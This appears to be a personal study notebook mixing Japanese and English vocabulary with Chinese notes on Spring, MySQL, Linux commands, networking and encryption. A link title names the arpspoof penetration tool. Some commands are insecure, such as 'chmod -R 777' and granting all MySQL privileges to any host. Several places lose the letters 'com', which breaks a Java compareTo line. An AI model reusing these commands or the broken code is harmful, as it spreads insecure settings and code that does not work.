<directory>${basedir}/src/main/resources</directory>
<outputDirectory></outputDirectory>
</fileSet>
</fileSets>
×:<outputDirectory>/</outputDirectory>
15.占有 せんゆう XXX環境を占有させて頂くたく思います。 XX環境占用のお知らせ
× 占用 せんよう
16.拠点 きょてん
17.established [ɪˈstæblɪʃt] 已确立的,确定的 // netstat -ano | find ".XX(IP)" 访问网址的URL后,立即执行该命令
・CLOSE_WAIT 访问网址的URL后,等一段时间,再执行该命令
再等 一段时间之后,什么都不显示了
URL 如果是 https的话, 端口号为 443
HTTPS、HTTPS、SSH、MSTSC等常用网络服务的端口号_sun0322-CSDN博客_mstsc 端口
18.response レスポンス
19.ssh:notty
“ Notty”一词仅表示“ no tty”,大致翻译为“ no terminal”。
当您本地登录到任何Linux计算机时,终端将始终在进程列表中显示为“ tty”。
如果通过SFTP建立了连接,或者您正在使用SCP复制文件,那么它将显示为tty(notty)。
tty一词源于Teletypes,或者teletypewriters,原来指的是电传打字机(发送信息的东西),后来这东西被键盘与显示器取代,
所以现在叫终端比较合适。
但是如果我们远程telnet到主机或使用xterm时不也需要一个终端交互么?是的,这就是虚拟终端pty(pseudo-tty)
pts(pseudo-terminal slave)是pty的实现方法,与ptmx(pseudo-terminal master)配合使用实现pty。
・上面的 pst/1 pst/2 是,使用TeraTerm 分别使用两个用户连接后的效果
・tty1是,虚拟机启动后,控制台登陆的效果
4.控制台终端(/dev/ttyn, /dev/console)
在Linux 系统中,计算机显示器通常被称为控制台终端(Console)。
它仿真了类型为Linux的一种终端(TERM=Linux),
并且有一些设备特殊文件与之相关联:tty0、tty1、tty2等。
当你在控制台上登录时,使用的是tty1。
使用Alt+[F1—F6]组合键时,我们就可以切换到tty2、 tty3等上面去。tty1 –tty6等称为虚拟终端,
而tty0则是当前所使用虚拟终端的一个别名,系统所产生的信息会发送到该终端上。
因此不管当前正在使用哪个虚拟终端,系统信息都会发送到控制台终端上。
你可以登录到不同的虚拟终端上去,因而可以让系统同时有几个不同的会话期存在。
只有系统或超级用户root可以向 /dev/tty0进行写操作,
5 虚拟终端(/dev/pts/n)
在Xwindows模式下的伪终端.
另有人解释:每一个远程连接都会产生一个pst设备;
lastb 命令的输出结果中的 ssh:notty 的意思_月下搬砖-CSDN博客
Who or what is root@notty?
ps -aux | grep sshd
20.改めて あらためて 重新
21.予め あらかじめ 预先
22. ており 表示书面的中顿,连接后面的句子。 XXXのエラーが発生しておりジョブが異常終了します。
23mercial [kəˈmɜrʃəl] 商业的;商业性的
24.enterprise 企业 enterprise-commercial 企业 商业版 // mysql
//sun 收购了 mysql Oracle 收购了 sun
25.IOE // 阿里巴巴 去 IOE
・IBM 小型机
⇒PC 服务器 和 mysql 组成的集群
・Oracle 数据库
・EMC 存储设备
26.Asymmetric [eɪˈsɪmətri] // jasypt 不对称的,不匀称的
27.PBE
PBE,全称为“Password Base Encryption”,中文名“基于口令加密”,是一种基于密码的加密算法,
其特点是使用口令代替了密钥,而口令由用户自己掌管,采用随机数杂凑多重加密等方法保证数据的安全性。
DES,全称为“Data Encryption Standard”,中文名为“数据加密标准”,是一种使用密钥加密的块算法
AES,全称为“Advanced Encryption Standard”,中文名“高级加密标准”
3DES,也就是“Triple DES”,中文名“三重数据加密算法”,它相当于是对每个数据块应用三次 DES 加密算法。
消息摘要算法(Message Digest) // MD5
Base64编码
非对称加密算法需要两个密钥来进行加密和解密,分别是公钥和私钥。
・RSA
RSA是1977年由罗纳德·李维斯特(Ron Rivest)、
阿迪·萨莫尔(Adi Shamir)和
伦纳德·阿德曼(Leonard Adleman)一起提出的。
当时他们三人都在麻省理工学院工作。RSA就是他们三人姓氏开头字母拼在一起组成的 [
・DH,全称为“Diffie-Hellman”
■2020/12/04 以降整理
1.計上 けいじょう // 工数はXXX案件へ計上する
2.当面 とうめん // 当前
3.さっそく 早速
4.ミドルウェア //(middleware)(计算机用语)中间件 (Apache, tomcat, mysql)
5.識別 しきべつ 識別子 しきべつし // 案件の識別子 (案件の略称)
6.根目录 ルートディレクトリ (Root directory)
7.root ルート // 在Linux中,除了代表特权用户
// 在Linux中,root Directory 代表 根目录
在 英文单词中的含义
n. 根;根源;根基;词根;祖先
v. 生根;根源在于,来源于
8.spring
■@Component
@Scope("prototype") 生命周期
// spring中的scope详解 - 山高我为峰 - 博客园
@Component("userDao")
public class UserDao {}
除了@Component以外,Spring提供了3个功能基本和@Component等效的注解
・@Repository:用于对DAO实现类进行标注;
・@Service:用于对Service实现类进行标注;
・@Controller:用于对Controller实现类进行标注;
// @Component 可以使用 javax.inject.Named javax.annotation.ManagedBean
@Inject (JSR330规范提供的注解(javax.inject.Inject),要导入【javax.inject】包才能使用)
除了使用Spring标准的注解来定义bean、定义bean之间的依赖关系外,
Spring还支持使用JSR330标准的注解来进行相关的定义,
主要是对@Inject和@Named两个注解的支持。
要使用JSR330标准的注解进行对应的bean定义,我们首先需要将JSR330标准对应的jar包加入我们的classpath。
<dependency>
<groupId>javax.inject</groupId>
<artifactId>javax.inject</artifactId>
<version>1</version>
</dependency>
@Autowired (Spring本身替换的注解(org.springframework.beans.factory.annotation.Autowired),需要导入Spring相应的jar包才能使用) 作用基本等同
区别:
@Autowired注解有一个required属性,当指定required属性为false时,意味着在容器中找相应类型的bean,
如果找不到则忽略,而不报错(这一条是两个注解所没有的功能)。
由于@Inject注解没有属性,在加载所需bean失败时,会报错
@Named
@ManagedBean
Spring 2.5之后,使用标注,管理类的声明周期(在Spring容器,IOC中的生命周期)
・@singleton:容器中创建时只存在一个实例,所有引用此bean都是单一实例
・@prototype:spring容器在进行输出prototype的bean对象时,会每次都重新生成一个新的对象给请求方
・@request:web程序中应用
・@session:web程序中应用
・@globalsession:Web全局变量 可以理解为之前的 Application
■@Configuration
@Bean 配置Spring容器管理的对象
普通的POJO类中只要标注@Configuration注解,就可以为spring容器提供Bean定义的信息了,每个标注了@Bean的类方法都相当于提供了一个Bean的定义信息。
//①将一个POJO标注为定义Bean的配置类
@Configuration
public class AppConf {
//②以下两个方法定义了两个Bean,以提供了Bean的实例化逻辑
@Bean
public UserDao userDao(){
return new UserDao();
}
@Bean
public LogDao logDao(){
return new LogDao();
}
//③定义了logonService的Bean
@Bean
public LogonService logonService(){
LogonService logonService = new LogonService();
//④将②和③处定义的Bean注入到LogonService Bean中
logonService.setLogDao(logDao());
logonService.setUserDao(userDao());
return logonService;
}
}
■@Autowired
// @Resource // @Inject @Resource,@Autowired,@Inject3种注入方式详解 - Java技术栈 - 博客园
@Autowired用法详解_IVON-CSDN博客_@autowired
当涉及到自动装配Bean的依赖关系时,Spring有多种处理方式。因此,Spring提供了4种自动装配策略。
彻底搞明白Spring中的自动装配和Autowired - 简书
===
一切都是从bean工厂的getBean方法开始的,一旦该方法调用总会返回一个bean实例,无论当前是否存在,不存在就实例化一个并装配,否则直接返回。
===
你可以在 JavaBean中的 setter 方法中使用 @Autowired 注解。当 Spring遇到一个在 setter 方法中使用的 @Autowired 注解,它会在方法中执行 byType 自动装配。
这里是 TextEditor.java 文件的内容:
===
■@ConfigurationProperties
---
YML 配置文件
==
■@value{“¥{AAA.BBB.CCC}”}
private String XXXX
java -jar XXX.jar --spring.config.location=/Path1/Path2/application.yml
// AAA.BBB.CCC 为yml文件中配置的属性
// spring参数的传递,都是以两个「--」开始的
==
■2020/12/14以降整理
1. autowire 自动装配 [autowired]是[autowire]的过去分词形式
2.prototype [ˈprəʊtəˌtaɪp] n. 原型;模范
3.role [rəʊl]英 n. 作用;角色 // 数据库中控制用户权限的字段,可以使用此单词命名
4.ssh scp
ssh scp命令详解 - Jonky - 博客园
5.substitute n. 代用品,代替者,替补队员 v. 替代 [ˈsʌbstɪˌtjuːt] // Excel公式
Excel 公式 ・快捷键 ------- 不定期更新_sun0322-CSDN博客
6.instance n. 例子,情况,请求,审级,例外 ; v. 举...为证,举例说明
扩展:java 实例化一个对象
■2021/01/01以降整理
・あ
あどけない 天真
あっけない 太简单的,不尽兴的,没意思的,没劲儿的,不过瘾的。
あぶる 炙る
あべこべ 颠倒
アルコール 酒精
アルバム 相册
仰ぐ あおぐ
あらし 嵐
粗い あらい // 新井 あらい
雨傘 あまがさ
アニメーション 动画片
煽る あおる
・い
些か いささか
錨 いかり
・う
魚座 うおざ
渦 うず
埋める うずめる
うに 海胆 // カニ 蟹
右折 うせつ // 右京 杉下 右京
うろうろ 慢吞吞
器 うつわ
うたがう 疑う
伺う うかがう
うっかり 不注意 无意中 // がっかり 灰心,泄气
嗽 うがい 漱口
うっとり 陶醉,发呆
植える うえる
飢える うえる
・え
エリート 经营,尖子
エージェンシー 代理店
笑顔 えがお
・お
大晦日 除夕。大年夜。腊月三十。
岡 おか // 谷岡 たにおか // 福岡 ふくおか
おおげさ 大袈裟 夸张
大雑把 おおざっぱ 粗略
脅す おどす
落ち着く おちつく 平静下来;稳定;平息。
溺れる おぼれる // 溺死 できし
凹レンズ おう // でこぼこ 凸凹
・か
神奈川 かながわ
かなう 適う 叶う
乾く かわく
崖の上のポニョ // 崖 がけ // 影 かげ
噛む かむ
かたかな 片仮名 // 外来语中使用
~がたい ~するのはむずかしい
~がちだ/がちの することが多い
勝ち かち
片付け かたづけ 整理
庇う かばう
革靴 かわぐつ フォーマル革靴 フォーマル(formal) 正式的 // フォーマット(fromat)格式 // フォーク fork 叉子
通い かよい
かき 夏季
~からして ひとつの例をあげて、ほかももちろんだがという気持ちを表す
~からすると/からすれば ~の立場から見ると
~からには 既然,就
為替 かわせ 兑换,汇款
香り かおり 香气
・き
清い きよい
きり 仅仅; 文法:动词+た 持续某一状态 (口语 ~っきり)
ぬく 文法:一直坚持到最后
きらきら 闪闪发光 // びかびか
気楽 きらく 舒适
・く
薬指 くすりゆび 无名指 小指中指之间
栗 くり
口紅 くちべに
口ずさむ 小声哼唱
口笛 くちぶえ 口哨
句点 くてん // 文句 もんく 牢骚 // ぶつぶつ 牢骚 // 文言 もんごん
狂う くるう
・こ
ことに(は) 文法:事先申述说话者的心情,感情 ,
ことから (因为 ので) 表示理由,以示后文根据
粉々 こなごな
航空 こうくう
降参 こうさん 投降
昆布 こぶ 海带
辛夷 こぶし 兰花
拳 こぶし
好み このみ 物好き ものすき
拘束 こうそく
口実 こうじつ
======= 重复
・か
かながわ 神奈川
適う 叶う かなう
乾く かわく
崖 がけ
影 かげ
噛む かむ
かなかな 片仮名 // 外来语使用
~がたい ~するのはむずかしい
~がちだ/がちの ~することが多い・やすい
かち 勝ち
価値 かち
片付け かたづけ 整理
庇う かばう
革靴 かわぐつ
フォーマル革靴 正式的皮鞋 formal
フォーマット format 格式
通い かよい 往来
夏季 かき
~からして ~の例をあげて、ほかも もちろんだがという気持ちを表す
~からすると/からすれば ~の立場から見ると
~からには 既然,就
為替 汇兑,汇款
香り かおり 香气
・き
清い きよい
きり 仅仅
~きり 动词 + た + きり 持续某一状态
口语 ~っきり
~ぬく 一直坚持到最后
きらきら 闪闪发光
ぴかぴか 闪闪发光
気楽 きらく 舒适
・く
薬指 无名指
======= 重复
・さ
囁く ささやく
さっさと 迅速
・し
・す
・せ
■2021/02/22以降整理
7.アップグレード upgrade 升级
8.サーバー 保护程序 saver
9.併せて あわせて 同时,共计
10.オリジナル 原型,原作
11.マイナーバージョンアップ 小版本升级 // マイナー minor
12.シンボリックリンク symbolic Link Linux中的软连接 对应 Hard Link
13.トランザクション transaction 事务
14.over ride 重写 (子类继承父类)
15.over load 重载 (方法名相同,参数不同)
16.コーテーション quotation 引号
17.後続 こうぞく
18.ロードマップ 企业产品规划图 roadmap
19.バックログ backlog 积压的工作
20.雛 ひな ひな祭り 3/3 (日本的)桃花节
21.python -v | python3 -v
22.glassfish ⇒ payara
23.reverse ソート順を反転させる // ls -lrt
.recursive 子ディレクトリを再帰的に一覧表示する // chmod -R 777 folderName
[ri'kə:siv] 再帰的にディレクトリをコピーする // cp -r folderFrom folderTo // -R, -r
24.ls --full-time
25.Git Bash
26position 构成;成分 // Veracode 「Software Composition Analysis」 // High Medium
Maven的Pom文件 ( Eclipse中创建Maven工程, 使用注意点,DevOps相关)_sun0322-CSDN博客
27.Analysis [əˈnælɪsɪs] 分析
28.vulnerability 脆弱性;缺点 // Vulnerabilities [vʌlnərə'biliti]
29.severity [səˈvɛrəti] 严重;严格;猛烈 // Number of Know vulnerabilities by severity . ⇒ // High、Medium、Low。。。
30.再帰 さいき
31.反転 はんてん
32.audit 审计,查帐 // mysql
audit_log_file=/XXX/XXX/sudit/audit.log
audit_log_exclude_accounts=
33.edge 边,边缘;刀,刀口
34.シンタックス syntax 语法
check
mysql --defaults-file=/XXX/my.conf --verbose --help > /dev/null
mysql --verbose --help
mysql verbose_mysql参数调优_萌新阿岩的博客-CSDN博客
35.verbose [vɜːˈbəʊs] 冗长的,累赘的
36.フィルター
37.福岡 ふくおか
38.satisfy [ˈsætɪsˌfaɪ] v. 使满意,使满足;满足;// mysql // Your password dose not statisfy the current poliicy requirements.
39.identified [aɪˈdentɪˌfaɪd] adj. 经鉴定的;被识别的 // mysql // create user 'yourUserName@%' identified by 'yourPasword'
40.privileges [ˈprɪvɪlɪdʒ] n. 特权;优待;权益 v. 给与…特权;特免 // mysql // flush privileges
41.grant [ɡrɑːnt] v. 同意,准予,授予;承认 // mysql // grant all on *.* to 'yourUserName@%'
42.シンタックス syntax [ˈsɪntæks] 语法
43.regexp // regex 正则表达式的简称 (= regular expression) // 正規表現
Excel VBA 如何使用 CreateObject("VBSCRIPT.REGEXP")-Excel VBA程序开发-ExcelHome技术论坛 -
例如字符串“P(5,n_P),B_M(13),B_V(13)”
要把圆括号中间的逗号“,”替换为“)(”,而不在其中的逗号不替换,应该如何设置正则表达式?
“P(5) (n_P),B_M(13),B_V(13)”
Sub Test()
Dim oData As Object, nData As Integer, sStr As String
sStr = "P(5,n_P),B_M(13),B_V(13)"
With CreateObject("Vbscript.RegExp")
.Global = True
.IgnoreCase = True
.Pattern = "\([^,)]+,[^,\)]+\)"
Set oData = .Execute(sStr)
If oData.Count > 0 Then
For nData = 1 To oData.Count
sStr = Replace(sStr, oData(nData - 1), Replace(oData(nData - 1), ",", ")("))
Next
End If
End With
MsgBox sStr
End Sub
44.UTC是协调世界时(Universal Time Coordinated)英文缩写
45.GMT(Greenwich Mean Time)是格林尼治平时
在格林尼治子午线上的平太阳时称为世界时(UT0),又叫格林尼治平时(GMT)。
46.JST (UTC + 9)
47.CST
CST
同时可以代表如下 4 个不同的时区:
Central Standard Time (USA) UTC-6:00
Central Standard Time (Australia) UTC+9:30
China Standard Time UTC+8:00
Cuba Standard Time UTC-4:00
CST可以同时表示美国,澳大利亚,中国,古巴四个国家的标准时间。
48.excel エクセル 工作表
49.リストアップ list up;列表,造表,列出。从众多之中挑选符合条件的,或将其列成一览表
50. tar cvf 打包 exclude // 排除 archive // 存档
你打包/home这个目录,/home/123/是你不想打包的目录。
tar cvf my.bak.tar /home --exclude /home/123
tar cvf my.bak.tar --exclude=/home/123 /home
你打包/home这个目录,/home/123/、/home/125/是你不想打包的目录。
tar cvf my.bak.tar --exclude=/home/123 --exclude=/home/125 /home
■匿名内部类,lambda表达式,JDK7新特性,等等java相关
================= start
51.匿名内部类
什么是JAVA内部类?_ConstXiong-CSDN博客
Comparator
1)这个接口也是一个排序比较器,位于Java.util包下
2)包含一个比较的方法compare(T t1,T t2)
3)如果一个类实现这个接口,一定要重写compare方法,但是不一定要实现equals方法,实现排序代码如下:
// 提供实现类的对象
Collections.sort(students, new Student());
---
使用匿名内部类的Collections的sort方法则不需要再在类中重写compare方法,代码如下:
//students是个list
Collections.sort(students, new Comparator<Student>() {
@Override
public int compare(Student s1, Student s2) {
int num = s1.getAge() - s2.getAge();
if(num == 0) {
return s1.getName()pareTo(s2.getName());
}
return num;
}
});
52.lambda 表达式
Lambda表达式详解 - 海向 - 博客园 (cnblogs)
---
Consumer 接口的方法以及遍历集合的操作。Consumer 接口是 jdk 为我们提供的一个函数式接口。
53. java8中,使用 Lambda表达式 遍历List
54.java8中,使用 Lambda表达式 遍历文件
55.try 后面的小括号
这个括号在JDK1.7之前是没有的,是1.7的新特性。
括号里的内容支持包括流以及任何可关闭的资源,数据流会在 try 执行完毕后自动被关闭,而不用我们手动关闭了
例:
try (FileReader reader = new FileReader("data.txt")) {
...
}catch (IOException io) {
...
}finally{
....
}
56.split
java分割之后,数组长度
======
“123,222”
2
======
“”
1
======
“123,”
1
======
“111,222,333,444,555”
5
======
“111,222,333,444,555,”
5
======
“111,222,333,444,555,666”
6
======
“111,222,333,444,,666”
6
======
57.Sonar rule squid:S1066
“Collapsible "if" statements should be merged”. // 多个分开的 if 可以合并成一个。 合并之后,这个check提出不再出现
58.Collapsible adj. 可折叠的;可拆卸的
59plexity [kəmˈplɛksɪtɪ] n. 复杂性,错综复杂
Sonar rule squid:S3776
■2021/03/18以降整理
1.lombok
使用Lombok:在类上直接标注个@Getter、@Setter,
编译时,自动生成getter、setter方法,
代码上,且不显示出来、不占据空间。
(即Lombok,是一个编译时注释预处理器,会在编译时注入一些代码。)
---
为什么有的程序员不推荐使用Lombok!_Mr_YXX的博客-CSDN博客_lombok不推荐使用
---
Eclipse SonarLint 插件 “SonarLint processing file 。。。 lombok/launch/PatchFixesHider“ 解决办法_sun0322-CSDN博客
---
编译时注解,运行时注解
@Retention(RetentionPolicy.SOURCE) // 例:@getter Getter.class 的源码
@Retention(RetentionPolicy.RUNTIME) // 例:@autowired Autiwired.class 的源码
Java注解 编译_Java注解(2)注解的使用:编译时和运行时处理_朱凤仙的博客-CSDN博客
---
================= end
2.reception [rɪˈsɛpʃən] n. 接待,接见;欢迎;欢迎会,招待会;接受;接纳;感受;反应;接待处
3.受付 うけつけ ①受理,接受。② 接待员;传达室,接待处。
4.Nmon // 分析 AIX与各种Linux 系统性能的工具。
5.splunk
=========================
Splunk 是机器数据的引擎。使用 Splunk 可收集、索引和利用所有应用程序、服务器和设备生成的快速移动型计算机数据 。 使用 Splunking 处理计算机数据,可让您在几分钟内解决问题和调查安全事件。监视您的端对端基础结构,避免服务性能降低或中断。以较低成本满足合规性要求。关联并分析跨越多个系统的复杂事件。获取新层次的运营可见性以及 IT 和业务智能。
・外文名 Splunk
・类 别 机器数据的引擎
・性 质 快速移动型计算机数据
・功 能 日志聚合功能、搜索功能等
・高级搜素 sourcetype="hsl-prod-fe" "Chase Seibert"
・特 性 多平台支持
安装在【服务器A】上,会启动一个守护进程。
此进程会 收集 【服务器A】上相应的情报,比如 log,
然后把收集到的数据传送到【Splunk服务器】上
一、splunk入门_飞翔的菜鸟叔的博客-CSDN博客
==========================
6.expire [ɪkˈspaɪə] v. 失效,终止,到期 ;届满
7.かと思います。
皆さんご存知かと思いますが
存知后面的か并不是表示疑问或不确定的意思。这是日语中一种习惯的语气的表达法。这么说显得语气很客气,委婉。
其实,中文里的想必不正是这个意思么。说话人认定所说内容是一个人所共知的事,但为了表示对听众的客气,所以会用"想必"这个词。
8.粒度 りゅうど // XX工程の粒度 // PG
AAA機能対応
BBB機能対応
。。。
9.cover カバー 覆盖
10.オーバー over // 超过 // !没法覆盖的意思
11.カバーレッジ coverage 覆盖范围 // JUnit 覆盖率
coverage [ˈkʌvərɪdʒ] n. (新闻)报导;范围
12.ifconfig // Linux中查看IP
eth0:、eth1:、lo: 本地网卡1,本地网卡2
inet IP地址 // 有的时候,IP是网卡2中的IP
netmask子网掩码用于分割网段,
broadcast广播用于运行网络协议
13.アナライズ analyze ;分析,解析
14.audit
exclude_accounts=userTest@%
mysql.user.user
mysql.user.host // 如果连接源 的 IP 在这里指定, userTest@% 无法屏蔽
例:
user表中
userTest@%
userTest@172.168.0.1
172.168.0.1的机器连接,出audit 的 log
172.168.0.2的机器连接,不出audit 的 log
==============================
Linux系统性能 相关
Linux系统性能相关知识学习_sun0322-CSDN博客
4.Nmon // 分析 AIX与各种Linux 系统性能的工具。
5.splunk // ・【类 别】机器数据的引擎 ・【性 质】快速移动型计算机数据 ・【功 能】 日志聚合功能、搜索功能等
安装在【服务器A】上,会启动一个守护进程。
此进程会 收集 【服务器A】上相应的情报,比如 log,
然后把收集到的数据传送到【Splunk服务器】上
15.daemon 守护进程
16.ps -aux | grep -e splunk -e USER // 查看进程PID
17.top
top -p PID
16.free -h
19.交换空间(swap space)
swap space 是磁盘上的一块区域,可以是一个分区,也可以是一个文件。
所以具体的实现可以是 swap 分区也可以是 swap 文件。
当系统物理内存吃紧时,Linux 会将内存中不常访问的数据保存到 swap 上,
这样系统就有更多的物理内存为各个进程服务,
20.free 与 available
21.buff/cache
shared: 被多个进程共享的内存;
buffers: 用于存放要输出到disk(块存储)的数据,
在这里buff是指被OS buffer住的内存(written to disk);
cached: 存放从disk上读出的数据;buffer和cache是为了提高IO性能并由OS管理。
=======
・块:操作系统中文件系统的最小寻址单元,也叫 "文件块" 或 "I/O 块"。
・扇区:设备的最小寻址单元,也叫 "硬扇区" 或 "设备块"。
22.
23.
24.
25.
Linux系统性能相关知识学习_sun0322-CSDN博客
==================================
■其他各种单词,知识(linux awk sed)
26.assignment /əˈsaɪnmənt/ (分配的)任务,工作 // java List list = new Arraylist<>();
27pliant [kəmˈplaɪənt] adj. 服从的,顺从的;符合的,一致的 //sonar lint
28.Mock 声明的对象,对函数的调用均执行mock(即虚假函数),不执行真正部分。 // adj. 虚假的;不诚实的;模仿的;模拟的;伪造的;仿制的
29.Spy 声明的对象,对函数的调用均执行真正部分。 // n. 间谍,密探 v. 当间谍,暗中监视
【java】单元测试Mockito中的Mock和Spy_断桥残雪D的博客-CSDN博客
30.Mockito中的Mock和Spy都可用于拦截那些尚未实现或不期望被真实调用的对象和方法,并为其设置自定义行为。
31.insecure [ˌɪnsɪˈkjʊə] adj. 不安全的;不稳定的;不牢靠的
mysqladmin: [Warning] Using a password on the command line interface can be insecure.
// mysql停止时,出现的警告。等一会儿就可以起来,不会影响正常启动.
=== 命令如下:
mysqladmin shutdown -uYourUserName -pYourPassword
===
32.secure [sɪˈkjʊə] adj 安全的;安心的;有把握的;牢固的 v. 使安全;保证;获得安全
33.security [sɪˈkjʊərɪtɪ] n. 安全,安全感;防护;保证;保障;证券
34.inactive adj. 不活动的,不活跃的;怠惰的;闲置的 // mysql 启动失败时
35.sed // Stream Editor
Linux Sed命令使用_Andrew的博客-CSDN博客_linux sed
sed是stream editor(流编辑器)的缩写,简称流编辑器,用来处理文件的
sed是一行一行读取文件内容并按照要求进行处理,把处理后的结果输出到屏幕上
window换行符\r\n 替换成linux 换行符
sed -i 's/\r//' startup.sh
-i 原地编辑(修改源文件)
修改字符串
echo hello hello world | sed 's/hello/hi/'
---
hi hello world
Linux中的sed命令,使用方法之一「替换字符串中的内容 」,以及「s/ / / 」和「s/ / /g」之间的区别_sun0322-CSDN博客_sed 替换字符串内容
36. sed 's/hello/nihao/g' 3.txt
---
amp1:~ # cat 3.txt ##3.txt的内容
hello hello hello
hello hello
hello hello hello
---
amp1:~ # sed 's/hello/nihao/' 3.txt
nihao hello hello
nihao hello
nihao hello hello
##不指定开头,也不加g,结果是匹配到一个符合的字段就直接跳到下一行
37.substitution [ˌsʌbstɪˈtjuːʃən] n. 代替,置换;代替者,代替物 // sed 命令中 sed 's/hello/nihao/' 3.txt
38.awk
ps aux | grep mysql | grep -v grep | awk ‘{print "$1 ,$2}’
显示第一列,第二列
---
ps aux | grep mysql | grep -v grep | awk ‘{print "kill -9" ,$2}’ | sh
---
sh kill -9 PID
。。。 | sh // 把前面命令执行后的结果,传递给sh
Aho、(Peter)Weinberg和(Brain)Kernighan。这三个人创造了awk
(功能与sed和grep很相似)
40.stale [steɪl] adj. 陈腐的;不新鲜的 // github 中 Stale branches
■网络相关
===================
41.arp
arpspoof渗透工具使用方法详解+实战_lexsaints-CSDN博客_arpspoof
ARP协议是地址解析协议(Address Resolution Protocol)是通过解析IP地址得到MAC地址的,
是一个在网络协议包中极其重要的网络传输协议,它与网卡有着极其密切的关系。
arp #本机缓存列表
arp -a #查看本机的 IP地址和MAC地址对应关系
arp -d #删除arp表中的所有信息
arp -d 192.168.154.195 #删除该条记录
根据arp的工作原理,我们知道,
PC或手机端需要通过arp缓存中IP和Mac地址的对应关系,
来确定谁是网关?
然后将数据包发送给网关,然后由网关将请求的数据转发到互联网。
42.Gateway 网关
网关(Gateway)又称网间连接器、协议转换器。默认网关在网络层上以实现网络互连,
是最复杂的网络互连设备,仅用于两个高层协议不同的网络互连。
网关的结构也和路由器类似,不同的是互连层,网关既可以用于广域网互连,也可以用于局域网互连
网关实质上是一个网络通向其他网络的IP地址。
主机之间通信时,
会根据子网掩码(255.255.255.0)判定两个网络中的主机处在不同的网络里。
而要实现这两个网络之间的通信,则必须通过网关。
43.Subnet Mask 子网掩码
子网掩码只有一个作用,就是将某个IP地址划分成网络地址和主机地址两部分。
・通过子网掩码,就可以判断两个IP在不在一个局域网内部。
・子网掩码可以看出有多少位是网络号,有多少位是主机号。
---
子网掩码,全是255
255.255.255.255的掩码,也就是32位掩码,并不是常用的一种掩码方式,
但是这种掩码在电信运营商的网络中却有很大的作用,主要目的是节省IP地址的使用。
32位掩码表明了IP地址的所有位都是网络位的标识,
这样每一个IP地址都是独立的一个网段,
可以作为运营商设备的管理地址或loopback接口地址。
还有一种情况就是PPPoE宽带上网时,
一般也会为用户分配一个32位掩码的地址,这种的主要目的也是为了节省地址。
所以我理解,采用32位掩码,
避免了每个地址段都要有一个网络地址和一个广播地址的情况,
将每个IP地址单独划分为一个网络,达到了节省IP地址的效果。
比如192.168.1.46/24 该网段中192.168.1.0和192.168.1.255就不能用作主机地址了。
采用32位掩码这两个地址就可以使用了。
44.WAN (Wide Area Network)
WAN口指的是广域网接口,主要是用于路由器与广域网进行连接。
45.LAN (Local Area Network)
LAN口指的是局域网接口,主要是用于路由器与局域网进行连接。
ipconfig
https://blog.csdn/sxzlc/article/details/111071591
46.WLAN
wireless local area network
47.wireless [ˈwaɪələs] adj. 无线的 n. 无线电收音机; 无线电发射和接收系统; 无线电报
48.wire 金属丝,金属线
49.内网
内网接入方式:上网的计算机得到的IP地址是Inetnet上的保留地址,保留地址有如下3种形式:
10.x.x.x
172.16.x.x至172.31.x.x
192.168.x.x
50.NAT (NAT,Network Address Translation)
51.NAPT (NAT,Network Address Port Translation)
https://blog.csdn/sxzlc/article/details/115285625
52.translation [trænsˈleɪʃən] n. 翻译;译文;转变,转化
53.SFDC
外部系统连接SFDC,获取SFDC侧的数据_sun0322-CSDN博客
↑ 外部系统连接SFDC,获取SFDC侧的数据
54.TCP Transmission Control Protocol传输控制协议,
55.UDP User Datagram Protocol用户数据报协议
56.端口号 port
端口号的有效范围是从0到65535。
一般来说,大于49151的端口号都代表动态端口。
UDP端口号指定有两种方式:由管理机构指定端口和动态绑定的方式。
(1)公认端口(WellKnownPorts):
从0到1023,它们紧密绑定(binding)于一些服务。
通常这些端口的通讯明确表明了某种服务的协议。例如:80端口实际上总是HTTP通讯。
(2)注册端口(RegisteredPorts):
从1024到49151。它们松散地绑定于一些服务。
也就是说有许多服务绑定于这些端口,这些端口同样用于许多其它目的。
例如:8080 可以绑定 tomcat
(3)动态和/或私有端口(Dynamicand/orPrivatePorts):
从49152到65535。理论上,不应为服务分配这些端口。
---
上图中,53365是本地动态分配的端口号,本地和虚拟机 之间 建立了 ssh 连接
---
57..NAPT 网络地址端口转换
NAPT与NAT的区别在于,NAPT不仅转换IP包中的IP地址,
还对IP包中TCP和UDP的Port进行转换。
这使得多台私有网主机利用1个NAT公共IP就可以同时和公共网进行通信。
(NAPT多了对TCP和UDP的端口号的转换)
58.
59.
60.
===================
■2021/03/29以降整理
01.capital [ˈkæpɪtəl] n. 首都;资本,资金;大写字母;资源;资本
・【capital letter】 大写字母 [ˈkæpɪtə] [ˈlɛtə] // アルファベットの大文字(おおもじ)
・letter n. 字母;信;字面意义;证书,许可证;文学
02.【lowercase】 (lower case letter) 小写 // アルファベットの小文字(こもじ)
03.upper // Excel 数式
04.lower // Excel 数式
05.tee T型管道 // Linux // 在屏幕输出的同时,把输出的内容写入到文件中
echo "`date '+%Y%m%d %H:%M:%S.%N'` XXXX" 2>&1 | tee -a \LOG\test.log
06.stdin
bat shell 命令行中 2>&1 的含义_sun0322-CSDN博客
07.backquote 返单引号 【`】
08.日志轮替 logrotate ログ ローテート
日志轮替_WK teacher的博客-CSDN博客
10M 10*1024*1024=10,485,760
ログローテーション処理 rotation n. 旋转,转动;自转;轮换,轮流,循环
09.rotate v. (使)旋转;(使)轮流 [rəʊˈteɪt]
10.sensitive data 敏感数据 [ˈsɛnsɪtɪv]
11.sensitivity n. 敏感;敏感性;过敏 [ˌsɛnsɪˈtɪvɪtɪ]
12.verify v. 证实,核实;作证,查证;核对 [ˈvɛrɪˌfaɪ]
13.scrub [skrʌb] n. 擦洗,刷洗;矮小的人(或物) v. 用力擦洗,刷净;取消
14.dynamic [daɪˈnæmɪk] n. 动态,力学,动力,活力,adj. 发展变化的,效率高的;动力学的;不断变化的
15.WPA Wi-Fi Protected Access
16.WPA2是WPA的升级版,现在新型的网卡、AP都支持WPA2加密。WPA2则采用了更为安全的算法。
17.WEP(Wired Equivalent Privacy,有线等效保密)
WEP加密是最早在无线加密中使用的技术,因为不安全,现在已经不建议使用!
18.WPA3
全名为Wi-Fi Protected Access 3,是Wi-Fi联盟组织于2018年1月8日在美国拉斯维加斯的国际消费电子展(CES)上发布的Wi-Fi新加密协议,
是Wi-Fi身 份验证标准WPA2技术的的后续版本 。
19.過剰 かじょう
20.ストレス stress;强弱型音调中的强声部,重音,重读 ; 给物体施加的压力; 应激反应,(精神)压力,紧张状态。
■2021/4/1以降整理
1.滞留 たいりゅう
2.上限 じょうげん
3.kbps kbps(千比特每秒) kilobit per second
4.bit // 8bit = 1byte
